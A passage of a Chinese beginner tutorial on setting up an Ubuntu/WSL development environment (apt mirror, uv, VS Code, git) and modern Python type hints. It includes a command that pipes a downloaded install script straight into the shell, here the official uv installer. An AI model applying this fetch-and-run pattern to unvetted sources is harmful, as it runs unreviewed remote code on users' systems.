&lt;hr&gt;
&lt;h4 id="设置镜像源"&gt;设置镜像源
&lt;/h4&gt;&lt;p&gt;由于网络原因，我们需要给 Ubuntu 设置软件仓库的镜像源，才能正常安装软件包。&lt;/p&gt;
&lt;p&gt;:::tip
&lt;a class="link" href="https://zh.wikipedia.org/wiki/%E7%BD%91%E7%AB%99%E9%95%9C%E5%83%8F" target="_blank" rel="noopener"
&gt;网站镜像&lt;/a&gt;（mirror sites, mirrors；镜像站点，镜像网站）是指对网站内容的拷贝，这类网站通常具有与原站不同的URL，但托管了相同或者是几乎相同的内容。镜像原意是光学里指的物体在镜面中所成之像。引申到计算机网络上，镜像通常用于为相同信息内容提供不同的源，特别是在下载量大的时候提供了一种可靠的网络连接。
:::&lt;/p&gt;
&lt;p&gt;这里我们使用清华大学镜像站。在搜索引擎搜索&lt;code&gt;ubuntu 清华镜像&lt;/code&gt;，你应该可以搜到下面的网站。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/" target="_blank" rel="noopener"
&gt;ubuntu | 镜像站使用帮助 | 清华大学开源软件镜像站&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们使用的是 24.04 LTS。想确认你的 wsl 安装了什么版本的 ubuntu，你可以运行:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsb_release -a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;镜像站使用帮助中有这样的描述：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 Ubuntu 24.04 之前，Ubuntu 的软件源配置文件使用传统的 One-Line-Style，路径为 &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;；从 Ubuntu 24.04 开始，Ubuntu 的软件源配置文件变更为 DEB822 格式，路径为 &lt;code&gt;/etc/apt/sources.list.d/ubuntu.sources&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;将系统自带的对应文件做个备份，然后根据格式的选择下面对应的内容替换，即可使用选择的软件源镜像。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;要备份，其实就是复制一份原文件出来的意思。Linux 中的复制指令是&lt;code&gt;cp&lt;/code&gt;, 即 copy 的缩写。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo cp /etc/apt/sources.list.d/ubuntu.sources /etc/apt/sources.list.d/ubuntu.sources.bak
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 这里相当于复制了一份文件到ubuntu.sources.bak, 之后可以放心修改 ubuntu.sources 了。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;之后，选择 DEB882 格式的正确 Ubuntu 版本，复制它生成的配置，替换原来的镜像源文件内容。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo nano /etc/apt/sources.list.d/ubuntu.sources
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;输入指令，你会看到类似这样的界面(文件名没有 &lt;code&gt;.bak&lt;/code&gt;):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/backend-tutorial/1.2/1.2-2.png"
width="1280"
height="667"
srcset="https://v3n0.com/post/backend-tutorial/1.2/1.2-2_hu_821525cc0d704d72.png 480w, https://v3n0.com/post/backend-tutorial/1.2/1.2-2_hu_f2a3244e29fdc0ea.png 1024w"
loading="lazy"
alt="wsl2-2"
class="gallery-image"
data-flex-grow="191"
data-flex-basis="460px"
&gt;&lt;/p&gt;
&lt;p&gt;:::tip
nano 是 Unix 和类 Unix 系统中的一个终端文本编辑器。它通过 Control 键来控制。比如 Ctrl+O 保存当前文件；Ctrl+W 进入搜索菜单。nano 在屏幕底部显示两行快捷键，列出了当前状态下能用的命令。如果要查看完整的列表，可以按 Ctrl+G 进入帮助屏幕。nano同时支持用鼠标点击屏幕下方的快捷键来操作。
:::&lt;/p&gt;
&lt;p&gt;下面快捷键提示中的&lt;code&gt;^&lt;/code&gt;指的是 Ctrl，&lt;code&gt;M&lt;/code&gt; 是“Meta 键”的缩写，在这里实际上是指 Alt 键。&lt;/p&gt;
&lt;p&gt;我们需要删除文件原来的内容，把我们刚刚从网站上复制的配置复制进去。按住 &lt;code&gt;Shift + 方向键下&lt;/code&gt;, 控制光标选中文件全部内容，之后&lt;code&gt;^K Cut&lt;/code&gt;剪切掉。&lt;/p&gt;
&lt;p&gt;这里之所以是剪切而不是退格，是因为 nano 中 Backspace 只会删除掉光标之前的一个字符，而不是删除我们选中的内容。删除掉文件原来的内容之后，我们向文件中用&lt;code&gt;Ctrl + Shift + V&lt;/code&gt;粘贴我们刚刚从镜像站复制的配置。&lt;/p&gt;
&lt;p&gt;:::warning 注意
这里 nano 使用的粘贴板是独立的，并不是 Windows 的粘贴板，也就是我们不应该使用&lt;code&gt;^U&lt;/code&gt;快捷键粘贴我们复制的配置，我们实际上是通过 Windows Terminal ，将 Windows 的粘贴板内容粘贴到 shell 中。你实际上应该使用的“粘贴”快捷键是 &lt;code&gt;Ctrl + Shift + V&lt;/code&gt;。同样，要复制内容我们也是加上 Shift，即 &lt;code&gt;Ctrl + Shift + C&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;在 shell 中，&lt;code&gt;Ctrl + C&lt;/code&gt; 一般是终止进程的快捷键。
:::&lt;/p&gt;
&lt;p&gt;正确粘贴之后，内容应该像这样：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/backend-tutorial/1.2/1.2-3.png"
width="1280"
height="667"
srcset="https://v3n0.com/post/backend-tutorial/1.2/1.2-3_hu_77c88b06aa2ffe1f.png 480w, https://v3n0.com/post/backend-tutorial/1.2/1.2-3_hu_5b0394f4c652167f.png 1024w"
loading="lazy"
alt="1.2-3"
class="gallery-image"
data-flex-grow="191"
data-flex-basis="460px"
&gt;&lt;/p&gt;
&lt;p&gt;接下来保存文件。&lt;code&gt;^O&lt;/code&gt;保存文件，会询问保存的文件名，直接回车保持文件名原样即可。之后&lt;code&gt;^X&lt;/code&gt;退出 nano。&lt;/p&gt;
&lt;p&gt;修改完镜像源之后，我们更新软件仓库，保证同步:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt upgrade
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;:::tip
有没有觉得这些配置编辑操作相当麻烦？你可以尝试学习使用 vim 编辑器，当你熟练使用之后，我们在终端编辑这种配置文件会比 nano 便捷的多。未来的开发中，我们将不可避免地经常在终端中编辑配置文件。
:::&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id="python-环境配置"&gt;Python 环境配置
&lt;/h4&gt;&lt;p&gt;本教程基于 Python 3.12 或更高版本。截止教程编写时，wsl 默认安装 Ubuntu 24.04 LTS ，该版本已经默认安装了 Python 3.12.3。&lt;/p&gt;
&lt;p&gt;在 ubuntu 中查看当前的 Python 版本:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 --version
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;你可能听说过 pip, 它是 Python 基础的包管理器。但现代 Python 开发中我们一般使用更为便捷的包和项目管理器，例如 uv, poetry, pdm 等。本教程使用 &lt;a class="link" href="https://docs.astral.sh/uv/" target="_blank" rel="noopener"
&gt;uv&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;uv 是一个比较新的工具，Ubuntu 软件源不一定包含。我们使用官方的安装脚本:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -LsSf https://astral.sh/uv/install.sh &lt;span class="p"&gt;|&lt;/span&gt; sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;如果安装正确，输出应类似下图:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/backend-tutorial/1.2/1.2-5.png"
width="1235"
height="342"
srcset="https://v3n0.com/post/backend-tutorial/1.2/1.2-5_hu_b710d53900121ef6.png 480w, https://v3n0.com/post/backend-tutorial/1.2/1.2-5_hu_21fc5afcfcdd96d0.png 1024w"
loading="lazy"
alt="1.2-5"
class="gallery-image"
data-flex-grow="361"
data-flex-basis="866px"
&gt;&lt;/p&gt;
&lt;p&gt;这个输出告诉我们，要使用 uv, 我们需要重启一个 Shell。我们新开一个 Ubuntu 窗口即可。&lt;/p&gt;
&lt;p&gt;uv 是一个很强大的工具，建议阅读它的文档，学习使用。&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id="vs-code-配置"&gt;VS Code 配置
&lt;/h4&gt;&lt;p&gt;本教程使用 VS Code 作为我们的 IDE。&lt;/p&gt;
&lt;p&gt;省流：&lt;strong&gt;VS Code + WSL 插件 + Python 相关插件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;安装 VS Code。&lt;a class="link" href="https://code.visualstudio.com/download" target="_blank" rel="noopener"
&gt;下载链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;安装并打开之后，在左侧的插件栏搜索简体中文插件以及 WSL 插件，安装。之后我们就可以在 ubuntu 中使用&lt;code&gt;code&lt;/code&gt;指令打开 Windows 中的 VS Code 了。&lt;/p&gt;
&lt;p&gt;我们首先使用 uv 创建我们的第一个 Python 项目:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ &lt;span class="nb"&gt;cd&lt;/span&gt; ~ &lt;span class="c1"&gt;# 移动到家目录(/home/veno)。家目录通常被 &amp;#34;~&amp;#34; 指代&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ &lt;span class="nb"&gt;pwd&lt;/span&gt; &lt;span class="c1"&gt;# 显示当前工作目录 (present working diretory)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home/veno/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ mkdir -p Projects/ &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; Projects/ &lt;span class="c1"&gt;# 创建 Projects/ 文件夹并进入&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ uv init backend_tutorial &lt;span class="c1"&gt;# 初始化我们的第一个 Python 项目&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Initialized project &lt;span class="sb"&gt;`&lt;/span&gt;backend-tutorial&lt;span class="sb"&gt;`&lt;/span&gt; at &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/backend_tutorial&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ code backend_tutorial &lt;span class="c1"&gt;# 在 backend_tutorial 文件夹打开 VSCode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;:::tip&lt;/p&gt;
&lt;p&gt;在文档中，对于多条指令，&lt;code&gt;$&lt;/code&gt;字符一般是为了标识一条指令的开头。偷懒复制粘贴的时候可别把&lt;code&gt;$&lt;/code&gt;也一起复制进去了。&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;此时 Ubuntu WSL 应该会自动开始安装 VSCode 服务器，并打开一个 VS Code 窗口:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/backend-tutorial/1.2/1.2-4.png"
width="2560"
height="1380"
srcset="https://v3n0.com/post/backend-tutorial/1.2/1.2-4_hu_50d0db01c12de7f7.png 480w, https://v3n0.com/post/backend-tutorial/1.2/1.2-4_hu_21350c0f8e8ea0a2.png 1024w"
loading="lazy"
alt="1.2-4"
class="gallery-image"
data-flex-grow="185"
data-flex-basis="445px"
&gt;&lt;/p&gt;
&lt;p&gt;uv 很方便吧？一下就帮我们把项目初始化好了。&lt;/p&gt;
&lt;p&gt;之后，我们在 Ubuntu 的 VS Code 中安装我们所需的所有插件。注意你需要把插件安装到 “WSL:UBUNTU”，而不是“本地”。&lt;/p&gt;
&lt;p&gt;你至少需要安装：Python, Pylance, Git Graph。你可以自己探索其他好用的插件。&lt;/p&gt;
&lt;p&gt;本 wiki 的 &lt;a class="link" href="https://hdu-cs.wiki/s/20034016" target="_blank" rel="noopener"
&gt;C-Start&lt;/a&gt; 课程提供的 VS Code 的配置文件中有一套开箱即用的 C/C++ 配置。你可以参考这个配置文件中好用的插件。大多数时候，等到需要写什么格式的文件再装什么插件就行。&lt;/p&gt;
&lt;h4 id="git-配置"&gt;Git 配置
&lt;/h4&gt;&lt;p&gt;Git 用于我们项目的版本控制。现在不熟悉没关系，你暂时只需要记住一些基础操作就行。&lt;/p&gt;
&lt;p&gt;首先我们在 Ubuntu 安装 git:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt install git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;安装之后，需要先进行一些配置工作。输入以下指令:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git config --global user.name &lt;span class="s2"&gt;&amp;#34;Zhang San&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# your name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git config --global user.email &lt;span class="s2"&gt;&amp;#34;zhangsan@foo.com&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# your email&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;放心，这里的 name 和 email 只是一个标识符，不会真有人给你发验证邮件什么的，填的邮箱不存在也无所谓。在你每次提交代码的时候你都得靠这个标签来说明这个版本是谁提交的。要不然 git 会不让你提交代码。&lt;/p&gt;
&lt;p&gt;想学习 Git 的基本操作，你可以看看&lt;a class="link" href="https://learngitbranching.js.org/?locale=zh_CN" target="_blank" rel="noopener"
&gt;Learn Git Branching&lt;/a&gt;, 闯关式，交互式的 git 教程，很有意思。&lt;/p&gt;
&lt;p&gt;关于 Git 和 Github 的更多内容你可以参考&lt;a class="link" href="https://hdu-cs.wiki/s/23868938" target="_blank" rel="noopener"
&gt;旧版 Wiki&lt;/a&gt;。&lt;/p&gt;
&lt;h3 id="linux-配置流程"&gt;Linux 配置流程
&lt;/h3&gt;&lt;p&gt;你都装上 Linux 了，该自己动手丰衣足食了(&lt;/p&gt;
&lt;h3 id="macos-配置流程"&gt;MacOS 配置流程
&lt;/h3&gt;&lt;p&gt;我没有 Macbook，等一个有 Macbook 的好心人提一个 PR。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="python-开发知识普及"&gt;Python 开发知识普及
&lt;/h2&gt;&lt;p&gt;根据本教程的前置知识要求，你至少已经学会了一门编程语言的基本语法了，或许学的就是 Python。为了以后少走一点弯路，我们在 Lab 0 补齐一些现代 Python 开发的知识。&lt;/p&gt;
&lt;h3 id="type-hint类型提示"&gt;Type Hint(类型提示)
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Python 是一门强类型，动态类型的语言！&lt;/strong&gt; 虽然 Python 作为解释型语言看起来语法很随意，类型很随意，但它实际上是有严格的类型验证的，只不过和编译语言不同，Python 作为解释型动态类型语言，对类型的检查被放在了运行时。关于这一点。你可以阅读 Stack Overflow - &lt;a class="link" href="https://stackoverflow.com/questions/11328920/is-python-strongly-typed" target="_blank" rel="noopener"
&gt;Is Python Strongly Typed?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在后端世界，代码不再是几十行的小脚本了，而是成百上千行，多人协作，需要长期维护的复杂系统。类型注解是一个必须项。&lt;/p&gt;
&lt;p&gt;确保你阅读&lt;a class="link" href="https://fastapi.tiangolo.com/zh/python-types/" target="_blank" rel="noopener"
&gt;FastAPI 文档 - Python 类型提示简介&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;通过写类型注解，你可以明确声明各种变量的类型，并让你的 IDE 在编写代码时就帮你检查类型。写代码时候的这点多敲的字永远好过代码上线之后，周末凌晨被叫起来修 bug 的痛苦。并且有类型注解之后，才能利用好 IDE 的自动补全功能，这会极大提高你的开发效率。&lt;/p&gt;
&lt;p&gt;基本上除了 Python, 大多数语言都需要你写出明确的类型声明。趁早适应这一点，别被 Python 惯坏了。&lt;/p&gt;
&lt;h3 id="现代类型标注写法"&gt;现代类型标注写法
&lt;/h3&gt;&lt;p&gt;教程使用 Python 3.12。我们不是开发一个开源库，也不是维护什么企业历史遗留项目，不需要考虑兼容问题。因此本教程将全面使用现代类型标注写法。&lt;/p&gt;
&lt;p&gt;现代写法更加简洁易读，性能更优，并且与现代 Python 后端框架的集成度更好。&lt;/p&gt;
&lt;p&gt;上面的 FastAPI 文档中的大多数写法都是兼容到 Python 3.8+。这里我大概列举一下现代写法和旧写法的参照，建议遵循现代写法来写 Python 代码。&lt;/p&gt;
&lt;h4 id="联合类型union-types"&gt;联合类型(Union Types)
&lt;/h4&gt;&lt;p&gt;现代(3.10+): 使用&lt;code&gt;|&lt;/code&gt;操作符&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Optional[str] 的现代写法是 str | None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_name&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;旧写法:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Union&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_by_id_old&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Union&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Union&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_name_old&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id="标准集合类型"&gt;标准集合类型
&lt;/h4&gt;&lt;p&gt;现代(3.9+): 直接使用内置集合类型, 如&lt;code&gt;list&lt;/code&gt;, &lt;code&gt;dict&lt;/code&gt;, &lt;code&gt;tuple&lt;/code&gt;, &lt;code&gt;set&lt;/code&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
